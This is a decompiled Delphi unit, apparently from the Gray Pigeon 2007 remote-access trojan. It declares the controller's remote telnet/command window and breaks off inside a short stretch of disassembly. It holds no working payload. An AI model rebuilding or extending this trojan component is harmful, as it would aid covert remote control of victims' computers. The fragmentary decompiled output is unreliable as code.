telnetunit.pas

灰鸽子2007VIP版源码

unit TelnetUnit;

interface

uses
  Windows, Messages, SysUtils, Classes, Graphics,
  Controls, Forms, Dialogs, StdCtrls
type
  TTelnetForm=class(TForm)
    Editor: TMemo;
    SkinForm: TspDynamicSkinForm;
    Panel1: TspSkinPanel;
    CmdLine: TspSkinComboBox;
    Label4: TspSkinStdLabel;
    procedure CmdLineKeyPress(Sender : TObject);
    procedure FormCloseQuery(Sender : TObject);
    procedure EditorKeyDown(Sender : TObject);
    procedure EditorKeyPress(Sender : TObject);
    procedure FormCreate(Sender : TObject);
    procedure EditorMouseDown(Sender : TObject);
    procedure _PROC_00596E9C(Sender : TObject);
    procedure _PROC_00596F0C(Sender : TObject);
    procedure _PROC_00596F6C(Sender : TObject);
    procedure _PROC_00597090(Sender : TObject);
    procedure _PROC_00597198(Sender : TObject);
    procedure _PROC_00597620(Sender : TObject);
    procedure _PROC_00597650(Sender : TObject);
    procedure _PROC_00597658(Sender : TObject);
    procedure _PROC_00597688(Sender : TObject);
    procedure _PROC_00597690(Sender : TObject);
    procedure _PROC_005976C0(Sender : TObject);
    procedure _PROC_005976C8(Sender : TObject);
    procedure _PROC_00597726(Sender : TObject);
  private
    { Private declarations }
  public
    { Public declarations }
  end ;

var
  TelnetForm: TTelnetForm;

{This file is generated by DeDe Ver 3.50.02 Copyright (c) 1999-2002 DaFixer}

implementation

{$R *.DFM}

procedure TTelnetForm.CmdLineKeyPress(Sender : TObject);
begin
(*
00597228   55                     push    ebp
00597229   8BEC                   mov     ebp, esp
0059722B   6A00                   push    $00
0059722D   6A00                   push    $00
0059722F   6A00                   push    $00
00597231   6A00                   push    $00
00597233   6A00                   push    $00
00597235   53                     push    ebx
00597236   56                     push    esi
00597237   57                     push    edi
00597238   8BD8                   mov     ebx, eax
0059723A   33C0                   xor     eax, eax
0059723C   55                     push    ebp

* Possible String Reference to: '